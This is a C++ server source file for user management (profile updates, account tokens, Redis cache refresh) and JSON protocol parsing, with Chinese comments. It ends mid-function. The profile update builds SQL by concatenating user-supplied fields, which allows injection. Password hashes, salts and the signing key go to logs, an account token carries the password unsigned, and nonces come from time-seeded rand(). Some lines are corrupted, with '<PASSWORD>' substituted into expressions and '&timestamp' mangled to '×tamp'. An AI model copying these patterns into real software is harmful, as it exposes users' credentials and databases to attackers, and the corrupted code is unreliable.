int User_Mgt::update_user_profile(const unsigned long long user_id, const UserAttr &user_attr, const std::string &msg_tag, std::string &err_info)
{
//1,修改资料
//2,更新cache
XCP_LOGGER_INFO(&g_logger, "update_user_profile,user_id:%llu,msg_tag:%s\n", user_id, msg_tag.c_str());
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get mysql conn failed.user_id:%llu,msg_tag:%s\n", user_id, msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
std::vector<std::string> keys;
std::vector<std::string> values;
MySQL_Guard guard(mysql_conn);
std::stringstream ss_sql;
ss_sql
<< "update `" << get_table_name(user_id, "tbl_user_info") << "` set ";
if (!user_attr.birthday.empty())
{
ss_sql
<< " `F_birthday`=\"" << user_attr.birthday << "\",";
keys.push_back("birthday");
values.push_back(user_attr.birthday);
}
if (!user_attr.name.empty())
{
ss_sql
<< " `F_name`=\"" << user_attr.name << "\",";
keys.push_back("name");
values.push_back(user_attr.name);
}
if (!user_attr.nick.empty())
{
ss_sql
<< " `F_nick`=\"" << user_attr.nick << "\",";
keys.push_back("nick");
values.push_back(user_attr.nick);
}
if (!user_attr.avatar.empty())
{
ss_sql
<< " `F_avatar`=\"" << user_attr.avatar << "\",";
keys.push_back("avatar");
values.push_back(user_attr.avatar);
}
if (user_attr.gender == 0 || user_attr.gender == 1)
{
ss_sql
<< " `F_gender`=\"" << user_attr.gender << "\",";
std::stringstream ss_gender;
ss_gender
<< user_attr.gender;
keys.push_back("gender");
values.push_back(ss_gender.str());
}
std::string sql = ss_sql.str();
sql = sql.substr(0, sql.length() - 1);
ss_sql.str("");
ss_sql
<< sql << " where F_uid=" << user_id;
XCP_LOGGER_INFO(&g_logger, "execute sql!sql:%s,msg_tag:%s\n", ss_sql.str().c_str(), msg_tag.c_str());
unsigned long long last_insert_id, affected_rows;
int nRet = mysql_conn->execute_sql(ss_sql.str(), last_insert_id, affected_rows);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "execute sql fail!sql:%s,ret:%d,msg_tag:%s\n", ss_sql.str().c_str(), nRet, msg_tag.c_str());
err_info = "execute sql fail!";
return ERR_MYSQL_NET_ERROR;
}
//刷新缓存
nRet = refresh_user_cache(user_id, mysql_conn, msg_tag);
/**
//update cache
std::stringstream ss_redis_id;
ss_redis_id
<< UM_REDIS_USER_PREFIX << user_id;
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info, USER_PROFILE_CACHE_TTL);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "update user profile cache failed!cmd:%s,msg_tag:%s\n", ss_redis_id.str().c_str(),msg_tag.c_str());
//删除该缓存
nRet = PSGT_Redis_Mgt->del(ss_redis_id.str().c_str(), err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "del user profile cache failed!cmd:%s,msg_tag:%s\n", ss_redis_id.str().c_str(),msg_tag.c_str());
}
}
**/
//通知成员
Conn_Ptr push_conn;
if (!g_push_conn.get_conn(push_conn))
{
XCP_LOGGER_ERROR(&g_logger, "g_push_conn failed.msg_tag:%s\n", msg_tag.c_str());
err_info = "g_push_conn failed!";
return ERR_INNER_SVR_NET_ERROR;
}
nRet = push_conn->push_msg_update_user(msg_tag, user_id, err_info);
if (nRet != 0)
{
err_info = "push_msg_update_user fail!";
XCP_LOGGER_ERROR(&g_logger, "g_push_conn->push_msg_update_user failed, ret:%d, err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(),msg_tag.c_str());
}
err_info = "success";
return ERR_SUCCESS;
}
int User_Mgt::get_user_account(const unsigned long long &user_id, const std::string &msg_tag, std::string &token, std::string &err_info)
{
//1,修改资料
//2,更新cache
XCP_LOGGER_INFO(&g_logger, "get_user_account,user_id:%llu,msg_tag:%s\n", user_id, msg_tag.c_str());
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get mysql conn failed.user_id:%llu,msg_tag:%s\n", user_id, msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
MySQL_Guard guard(mysql_conn);
//查找用户的老的Db_pwd
std::stringstream ss_redis_id;
ss_redis_id
<< UM_REDIS_USER_PREFIX << user_id;
std::vector<std::string> keys;
std::vector<std::string> values;
keys.push_back("password");
keys.push_back("salt");
keys.push_back("phone_num");
std::string db_pwd;
std::string db_salt;
std::string phone;
int nRet = PSGT_Redis_Mgt->hmget_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet == 0 && values[2] != "")
{
db_pwd = values[0];
db_salt = values[1];
phone = values[2];
}
else {
XCP_LOGGER_ERROR(&g_logger, "get account from cache fail!id:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
//从mysql 中获取数据
char select_sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(select_sql, sizeof(select_sql), "select F_password,F_salt,F_phone_num from %s where F_uid=%llu", table_name.c_str(), user_id);
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "get pwd from db failed!";
return ERR_MYSQL_NET_ERROR;
}
if (row_set.row_count() != 1)
{
XCP_LOGGER_ERROR(&g_logger, "user_id not exist, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "this user not exist!";
return ERR_SYSTEM;
}
db_pwd = row_set[0][0];
db_salt = row_set[0][1];
phone = row_set[0][2];
//刷新缓存
nRet = refresh_user_cache(user_id, mysql_conn, msg_tag);
}
XCP_LOGGER_INFO(&g_logger, "db_pwd:%s,db_salt:%s,phone:%s,msg_tag:%s\n", db_pwd.c_str(), db_salt.c_str(), phone.c_str(), msg_tag.c_str());
//生成token
TokenInfo token_info;
token_info.user_id = user_id;
token_info.phone = phone;
token_info.pwd = <PASSWORD>;
token_info.salt = <PASSWORD>;
token_info.token_type = TokenTypeGetAccount;
nRet = generate_token(db_pwd, token_info, token, err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "generate token fail!nRet=%d,msg_tag:%s\n", nRet, msg_tag.c_str());
return ERR_TOKEN_GENERATE_ERROR;
}
err_info = "success";
return 0;
}
std::string User_Mgt::get_table_name(unsigned long long uuid, const std::string &table_name)
{
int mode = uuid % 10;
std::stringstream mode_user_table_name;
mode_user_table_name
<< table_name << "_" << mode;
return mode_user_table_name.str();
}
std::string User_Mgt::generate_code_secret(const std::string &code)
{
std::stringstream seed;
srand(getTimestamp());
seed
<< code << rand();
return md5(seed.str().c_str());
}
int User_Mgt::generate_token(const std::string &key, TokenInfo &token_info, std::string &token, std::string &err_info)
{
if (token_info.token_type <= TokenTypeBegin || token_info.token_type >= TokenTypeEnd)
{
err_info = "token_type error!";
return -1;
}
unsigned long long timestamp = getTimestamp();
token_info.create_time = timestamp;
token_info.expire_time = timestamp + TOKEN_TTL;
token_info.nonce = generate_rand_str(TOKEN_NONCE_LEN);
if (token_info.user_id <= 0 || token_info.phone.empty() || token_info.create_time <= 0 || token_info.nonce.empty())
{
err_info = "generate token fail!less must param";
return -2;
}
if (token_info.token_type == TokenTypeUpdatePwd)
{
if (token_info.pwd.empty() || token_info.salt.empty())
{
err_info = "generate token fail!less must param about pwd";
return -3;
}
}
std::string sig;
char src[TOKEN_LEN] = { 0 };
if (token_info.token_type == TokenTypeLogin)
{
if (get_sig_token(key, token_info, sig) != 0)
{
err_info = "generate sig error!";
return -4;
}
snprintf(src, sizeof(src), "{\"user_id\":%llu,\"phone\":\"%s\",\"token_type\":%d,\"create_time\":%llu,\"expire_time\":%llu,\"from\":\"Server\",\"nonce\":\"%s\",\"sig\":\"%s\"}",
token_info.user_id, token_info.phone.c_str(), token_info.token_type, token_info.create_time, token_info.expire_time, token_info.nonce.c_str(), sig.c_str());
}
else if (token_info.token_type == TokenTypeGetAccount)
{
//不需要签名
snprintf(src, sizeof(src), "{\"user_id\":%llu,\"phone\":\"%s\",\"token_type\":%d,\"create_time\":%llu,\"expire_time\":%llu,\"from\":\"Server\",\"nonce\":\"%s\",\"salt\":\"%s\",\"password\":\"%s\"}",
token_info.user_id, token_info.phone.c_str(), token_info.token_type, token_info.create_time, token_info.expire_time, token_info.nonce.c_str(), token_info.salt.c_str(), token_info.pwd.c_str());
}
else if (token_info.token_type == TokenTypeInviteMember || token_info.token_type == TokenTypeUpdatePwd)
{
if (get_sig_token(key, token_info, sig) != 0)
{
err_info = "generate sig error!";
return -4;
}
snprintf(src, sizeof(src), "{\"user_id\":%llu,\"phone\":\"%s\",\"token_type\":%d,\"create_time\":%llu,\"expire_time\":%llu,\"from\":\"Server\",\"nonce\":\"%s\",\"sig\":\"%s\",\"salt\":\"%s\",\"password\":\"%s\"}",
token_info.user_id, token_info.phone.c_str(), token_info.token_type, token_info.create_time, token_info.expire_time, token_info.nonce.c_str(), sig.c_str(), token_info.salt.c_str(), token_info.pwd.c_str());
}
else {
err_info = "token_type error!";
return-5;
}
//base64
Base64 base64;
std::string s_src = src;
char *tmp = NULL;
if (base64.encrypt(s_src.c_str(), s_src.size(), tmp) != 0)
{
return -5;
}
token = tmp;
DELETE_POINTER_ARR(tmp);
return 0;
}
std::string User_Mgt::generate_rand_num(const unsigned int length)
{
srand(getTimestamp());
char str[RANDON_STRING_MAX_LENGTH + 1] = { 0 };
int size = RANDON_STRING_MAX_LENGTH > length ? length : RANDON_STRING_MAX_LENGTH;
int i = 0;
for (i = 0; i < size; i++)
{
str[i] = '0' + rand() % 10;
}
str[i] = '\0';
return str;
}
std::string User_Mgt::generate_rand_str(const unsigned int length)
{
srand(getTimestamp());
char str[RANDON_STRING_MAX_LENGTH + 1] = { 0 };
int size = RANDON_STRING_MAX_LENGTH > length ? length : RANDON_STRING_MAX_LENGTH;
int i = 0;
for (i = 0; i < size; i++)
{
str[i] = 'a' + rand() % 26;
}
str[i] = '\0';
return str;
}
int User_Mgt::refresh_user_cache(const unsigned long long &user_id, mysql_conn_Ptr &mysql_conn, const std::string &msg_tag)
{
XCP_LOGGER_INFO(&g_logger, "refresh_user_cache,user_id:%llu,msg_tag:%s\n", user_id, msg_tag.c_str());
std::stringstream ss_redis_id;
ss_redis_id
<< UM_REDIS_USER_PREFIX << user_id;
std::string err_info;
//从mysql 中获取数据
char select_sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(select_sql, sizeof(select_sql), "select F_phone_num,F_password,F_salt,F_last_family_id,F_nick,F_name,F_avatar,F_gender,F_birthday,F_last_login_time,F_created_at,F_forbid_at from %s where F_uid=%llu", table_name.c_str(), user_id);
MySQL_Row_Set row_set;
int nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0 || row_set.row_count() != 1)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
nRet = PSGT_Redis_Mgt->del(ss_redis_id.str().c_str(), err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "del cache failed!key:%s,err_info:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), err_info.c_str(), msg_tag.c_str());
}
return -1;
}
std::string phone = row_set[0][0];
std::string pwd = row_set[0][1];
std::string salt = row_set[0][2];
std::string last_family_id = row_set[0][3];
std::string nick = row_set[0][4];
std::string name = row_set[0][5];
std::string avatar = row_set[0][6];
std::string gender = row_set[0][7];
std::string birthday = row_set[0][8];
std::string last_login_time = row_set[0][9];
std::string created_at = row_set[0][10];
std::string forbid_at = row_set[0][11];
std::vector<std::string> keys;
std::vector<std::string> values;
keys.push_back("phone_num");
keys.push_back("<PASSWORD>");
keys.push_back("salt");
keys.push_back("last_family_id");
keys.push_back("nick");
keys.push_back("name");
keys.push_back("avatar");
keys.push_back("gender");
keys.push_back("birthday");
keys.push_back("last_login_time");
keys.push_back("created_at");
keys.push_back("forbid_at");
values.push_back(phone);
values.push_back(pwd);
values.push_back(salt);
values.push_back(last_family_id);
values.push_back(nick);
values.push_back(name);
values.push_back(avatar);
values.push_back(gender);
values.push_back(birthday);
values.push_back(last_login_time);
values.push_back(created_at);
values.push_back(forbid_at);
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "refresh_user_cache,update cache failed!msg_tag:%s\n", msg_tag.c_str());
nRet = PSGT_Redis_Mgt->del(ss_redis_id.str().c_str(), err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "refresh_user_cache,del cache failed!msg_tag:%s\n", msg_tag.c_str());
}
}
else {
XCP_LOGGER_INFO(&g_logger, "refresh_user_cache,success!msg_tag:%s\n", msg_tag.c_str());
}
return nRet;
}
int User_Mgt::check_token(const unsigned long long &user_id, const std::string &key, const std::string &phone, const std::string &token, TokenInfo &token_info, std::string &err_info)
{
Base64 base64;
char *tmp = NULL;
if (base64.decrypt(token.c_str(), tmp) != 0)
{
return ERR_TOKEN_INVALID;
}
std::string src_token = tmp;
DELETE_POINTER_ARR(tmp);
int nRet = XProtocol::decode_token(src_token, token_info, err_info);
if (nRet != 0)
{
err_info = "token param error!";
return ERR_TOKEN_INVALID;
}
//检查参数
if (token_info.token_type == TokenTypeLogin)
{
if (token_info.user_id <= 0 || token_info.phone.empty() || token_info.nonce.empty() || token_info.create_time <= 0 || token_info.expire_time <= 0 || token_info.sig.empty())
{
err_info = "token param error1!";
return ERR_TOKEN_INVALID;
}
}
if (token_info.user_id != user_id || token_info.phone != phone)
{
err_info = "user_id/phone not correct!";
return ERR_TOKEN_INVALID;
}
//校验签名
nRet = sig_token(key, token_info, err_info);
if (nRet != 0)
{
return ERR_TOKEN_SIG_ERROR;
}
unsigned long long timestamp = getTimestamp();
if (token_info.expire_time <= timestamp)
{
err_info = "token expired!";
return ERR_TOKEN_EXPIRED;
}
token_info.expire_time = TOKEN_TTL + getTimestamp();
return 0;
}
int User_Mgt::sig_token(const std::string &key, const TokenInfo &token_info, std::string &err_info)
{
std::string sig;
if (get_sig_token(key, token_info, sig) != 0)
{
err_info = "get_sig_token fail!";
return -1;
};
if (token_info.sig != sig)
{
err_info = "token sig error!";
return -2;
}
return 0;
}
int User_Mgt::get_sig_token(const std::string &key, const TokenInfo &token_info, std::string &sig)
{
std::map<std::string, std::string> m_src;
std::stringstream ss;
ss
<< token_info.user_id;
m_src.insert(std::make_pair<std::string, std::string>("user_id", ss.str()));
m_src.insert(std::make_pair<std::string, std::string>("phone", (std::string)token_info.phone));
ss.str("");
ss
<< token_info.token_type;
m_src.insert(std::make_pair<std::string, std::string>("token_type", (std::string)ss.str()));
ss.str("");
ss
<< token_info.create_time;
m_src.insert(std::make_pair<std::string, std::string>("create_time", (std::string)ss.str()));
ss.str("");
ss
<< token_info.expire_time;
m_src.insert(std::make_pair<std::string, std::string>("expire_time", (std::string)ss.str()));
m_src.insert(std::make_pair<std::string, std::string>("from", (std::string)token_info.from));
m_src.insert(std::make_pair<std::string, std::string>("nonce", (std::string)token_info.nonce));
if (token_info.token_type == TokenTypeUpdatePwd)
{
m_src.insert(std::make_pair<std::string, std::string>("salt", (std::string)token_info.salt));
m_src.insert(std::make_pair<std::string, std::string>("password", (std::string)token_info.pwd));
}
std::map<std::string, std::string>::iterator it;
ss.str("");
for (it = m_src.begin(); it != m_src.end(); it++)
{
ss
<< it->first
<< "="
<< it->second
<< "&";
}
std::string sig_src = ss.str();
sig_src = sig_src.substr(0, sig_src.length() - 1);
X_HMACSHA1 hmac;
if (!hmac.calculate_digest(key, sig_src, sig))
{
return -1;
}
XCP_LOGGER_INFO(&g_logger, "get_sig_token,sig_src:%s,key:%s\n", sig_src.c_str(),key.c_str());
return 0;
}
<file_sep>/protocol.cpp
#include "protocol.h"
#include "base/base_time.h"
#include "base/base_string.h"
#include "base/base_convert.h"
#include "base/base_logger.h"
#include "base/base_base64.h"
#include "comm/common.h"
extern Logger g_logger;
int XProtocol::req_head(const std::string &req, std::string &method, unsigned long long ×tamp, unsigned int &req_id, std::string &msg_tag, unsigned long long &real_id, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if(jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
if (get(root, "method",method, err_info) != 0)
{
return -2;
}
if (get(root, "timestamp", timestamp, err_info) != 0)
{
return -3;
}
if (get(root, "req_id", req_id, err_info) != 0)
{
return -4;
}
if (get(root, "msg_tag", msg_tag, err_info) != 0)
{
return -5;
}
if (get(root, "real_id", real_id, err_info) != 0)
{
real_id = 0;
}
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::rsp_msg(const std::string &method, const unsigned int req_id, const std::string &msg_tag,
const int code, const std::string &msg, const std::string &body, bool is_object)
{
std::string rsp = "";
if(body == "")
{
char buf[MAX_PROTOCOL_BUFF_LEN] = {0};
memset(buf, 0x0, MAX_PROTOCOL_BUFF_LEN);
snprintf(buf, MAX_PROTOCOL_BUFF_LEN, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":%u, \"msg_tag\":\"%s\", \"code\":%d, \"msg\":\"%s\"}\n",
method.c_str(), getTimestamp(), req_id, msg_tag.c_str(), code, msg.c_str());
rsp = buf;
}
else
{
unsigned int len = body.size()+MAX_PROTOCOL_BUFF_LEN;
char *buf = new char[len];
memset(buf, 0x0, len);
if(is_object)
{
snprintf(buf, len, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":%u, \"msg_tag\":\"%s\", \"code\":%d, \"msg\":\"%s\", \"result\":%s}\n",
method.c_str(), getTimestamp(), req_id, msg_tag.c_str(), code, msg.c_str(), body.c_str());
}
else
{
snprintf(buf, len, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":%u, \"msg_tag\":\"%s\", \"code\":%d, \"msg\":\"%s\", \"result\":\"%s\"}\n",
method.c_str(), getTimestamp(), req_id, msg_tag.c_str(), code, msg.c_str(), body.c_str());
}
rsp = buf;
DELETE_POINTER_ARR(buf);
}
return rsp;
}
int XProtocol::admin_head(const std::string &req, std::string &method, unsigned long long ×tamp, std::string &msg_tag, int &code, std::string &msg, std::string &err_info)
{
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if(jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//method
json_object *_method = NULL;
if(!json_object_object_get_ex(root, "method", &_method))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no method, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no method.";
json_object_put(root);
return -1;
}
if(!json_object_is_type(_method, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, method isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, method isn't string.";
json_object_put(root);
return -1;
}
method = json_object_get_string(_method);
//timestamp
json_object *_timestamp = NULL;
if(!json_object_object_get_ex(root, "timestamp", &_timestamp))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no timestamp, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no timestamp.";
json_object_put(root);
return -1;
}
if(!json_object_is_type(_timestamp, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, timestamp isn't int, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, timestamp isn't int.";
json_object_put(root);
return -1;
}
timestamp = (unsigned long long)json_object_get_int64(_timestamp);
//msg_tag
json_object *_msg_tag = NULL;
if(!json_object_object_get_ex(root, "msg_tag", &_msg_tag))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no msg_tag, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no msg_tag.";
json_object_put(root);
return -1;
}
if(!json_object_is_type(_msg_tag, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, msg_tag isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, msg_tag isn't string.";
json_object_put(root);
return -1;
}
msg_tag = json_object_get_string(_msg_tag);
//code
json_object *_code = NULL;
if(!json_object_object_get_ex(root, "code", &_code))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no code, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no code.";
json_object_put(root);
return -1;
}
if(!json_object_is_type(_code, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, code isn't int, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, code isn't int.";
json_object_put(root);
return -1;
}
code = json_object_get_int(_code);
//msg
json_object *_msg = NULL;
if(!json_object_object_get_ex(root, "msg", &_msg))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no msg, req(%u):%s\n", req.size(), req.c_str());
msg = "";
}
else
{
if(!json_object_is_type(_msg, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, msg isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, msg isn't string.";
json_object_put(root);
return -1;
}
msg = json_object_get_string(_msg);
}
//释放内存
json_object_put(root);
return 0;
}
std::string XProtocol::set_hb(const std::string &msg_id, const unsigned int client_num)
{
char msg[MAX_PROTOCOL_BUFF_LEN] = {0};
snprintf(msg, MAX_PROTOCOL_BUFF_LEN, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":0, \"msg_tag\":\"%s\", \"params\":{\"client_num\":%u}}\n",
CMD_HB.c_str(), getTimestamp(), msg_id.c_str(), client_num);
return msg;
}
std::string XProtocol::set_register(const std::string &msg_tag, const std::string &worker_id,
const std::string &ip, const std::string &ip_out, const unsigned short port)
{
char msg[MAX_PROTOCOL_BUFF_LEN] = {0};
snprintf(msg, MAX_PROTOCOL_BUFF_LEN, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":0, \"msg_tag\":\"%s\", \"params\":{\"id\":\"%s\", \"ip\":\"%s\", \"ip_out\":\"%s\", \"port\":%u}}\n",
CMD_REGISTER.c_str(), getTimestamp(), msg_tag.c_str(), worker_id.c_str(), ip.c_str(), ip_out.c_str(), port);
return msg;
}
std::string XProtocol::set_unregister(const std::string &msg_id, const std::string &worker_id)
{
char msg[MAX_PROTOCOL_BUFF_LEN] = {0};
snprintf(msg, MAX_PROTOCOL_BUFF_LEN, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":0, \"msg_tag\":\"%s\", \"params\":{\"id\":\"%s\"}}\n",
CMD_REGISTER.c_str(), getTimestamp(), msg_id.c_str(), worker_id.c_str());
return msg;
}
std::string XProtocol::get_server_access_req(const std::string &msg_id)
{
char msg[MAX_PROTOCOL_BUFF_LEN] = {0};
snprintf(msg, MAX_PROTOCOL_BUFF_LEN, "{\"method\":\"%s\", \"timestamp\":%llu, \"req_id\":0, \"msg_tag\":\"%s\"}\n",
CMD_GET_SERVER_ACCESS.c_str(), getTimestamp(), msg_id.c_str());
return msg;
}
int XProtocol::get_server_access_rsp(const std::string &req, std::map<std::string, std::vector<StSvr> > &svrs, std::string &err_info)
{
err_info = "";
enum json_tokener_error jerr;
json_object *root = json_tokener_parse_verbose(req.c_str(), &jerr);
if(jerr != json_tokener_success)
{
XCP_LOGGER_INFO(&g_logger, "json_tokener_parse_verbose failed, req:%s, err:%s\n",
req.c_str(), json_tokener_error_desc(jerr));
err_info = "it is invlid json req.";
return -1;
}
//code
json_object *_code = NULL;
if(!json_object_object_get_ex(root, "code", &_code))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no code, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no code.";
json_object_put(root);
return -1;
}
if(!json_object_is_type(_code, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, code isn't int, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, code isn't int.";
json_object_put(root);
return -1;
}
int code = json_object_get_int(_code);
if(code != 0)
{
XCP_LOGGER_INFO(&g_logger, "get server access failed, req(%u):%s\n", req.size(), req.c_str());
return code;
}
//result
json_object *result = NULL;
if(!json_object_object_get_ex(root, "result", &result))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no result, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no result.";
json_object_put(root);
return -1;
}
//uid svr
json_object *_uid = NULL;
if(!json_object_object_get_ex(result, ST_UID.c_str(), &_uid))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no uid, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no uid.";
}
else
{
//判断svr 是否是数组类型
if(!json_object_is_type(_uid, json_type_array))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, uid svr isn't array, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, uid svr isn't array.";
json_object_put(root);
return -1;
}
std::vector<StSvr> vec_svr;
int size = json_object_array_length(_uid);
for(int i=0; i<size; i++)
{
json_object *_svr_one = json_object_array_get_idx(_uid, i);
StSvr svr;
//ip
json_object *_ip = NULL;
if(!json_object_object_get_ex(_svr_one, "ip", &_ip))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no uid ip, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no uid ip.";
json_object_put(root);
return -1;
}
if(!json_object_is_type(_ip, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, uid ip isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, uid ip isn't string.";
json_object_put(root);
return -1;
}
svr._ip = json_object_get_string(_ip);
//port
json_object *_port = NULL;
if(!json_object_object_get_ex(_svr_one, "port", &_port))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no uid port, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no uid port.";
json_object_put(root);
return -1;
}
if(!json_object_is_type(_port, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, uid port isn't int, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, uid port isn't int.";
json_object_put(root);
return -1;
}
svr._port = (unsigned short)json_object_get_int(_port);
vec_svr.push_back(svr);
}
svrs.insert(std::make_pair(ST_UID, vec_svr));
}
//push svr
json_object *_push = NULL;
if (!json_object_object_get_ex(result, ST_PUSH.c_str(), &_push))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no push, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no push.";
}
else
{
//判断svr 是否是数组类型
if (!json_object_is_type(_push, json_type_array))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, uid svr isn't array, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, push svr isn't array.";
json_object_put(root);
return -1;
}
std::vector<StSvr> vec_svr;
int size = json_object_array_length(_push);
for (int i = 0; i<size; i++)
{
json_object *_svr_one = json_object_array_get_idx(_push, i);
StSvr svr;
//ip
json_object *_ip = NULL;
if (!json_object_object_get_ex(_svr_one, "ip", &_ip))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no push ip, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no push ip.";
json_object_put(root);
return -1;
}
if (!json_object_is_type(_ip, json_type_string))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, push ip isn't string, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, push ip isn't string.";
json_object_put(root);
return -1;
}
svr._ip = json_object_get_string(_ip);
//port
json_object *_port = NULL;
if (!json_object_object_get_ex(_svr_one, "port", &_port))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no push port, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no push port.";
json_object_put(root);
return -1;
}
if (!json_object_is_type(_port, json_type_int))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, push port isn't int, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, push port isn't int.";
json_object_put(root);
return -1;
}
svr._port = (unsigned short)json_object_get_int(_port);
vec_svr.push_back(svr);
}
svrs.insert(std::make_pair(ST_PUSH, vec_svr));
}
//sms svr
json_object *_sms = NULL;
if (!json_object_object_get_ex(result, ST_SMS.c_str(), &_sms))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, no sms, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no sms.";
}
else
{
//判断svr 是否是数组类型
if (!json_object_is_type(_sms, json_type_array))
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, uid svr isn't array, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, sms svr isn't array.";
json_object_put(root);
return -1;
}
std::vector<StSvr> vec_svr;
int size = json_object_array_length(_sms);
for (int i = 0; i<size; i++)
{
json_object *_svr_one = json_object_array_get_idx(_sms, i);
StSvr svr;
//ip
json_object *_ip = NULL;
if (!json_object_object_get_ex(_svr_one, "ip", &_ip))
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid req, no push ip, req(%u):%s\n", req.size(), req.c_str());
err_info = "it is invalid req, no sms ip.";
json_object_put(root);
return -1;
}
if (!json_object_is_type(_ip, json_type_string))
{
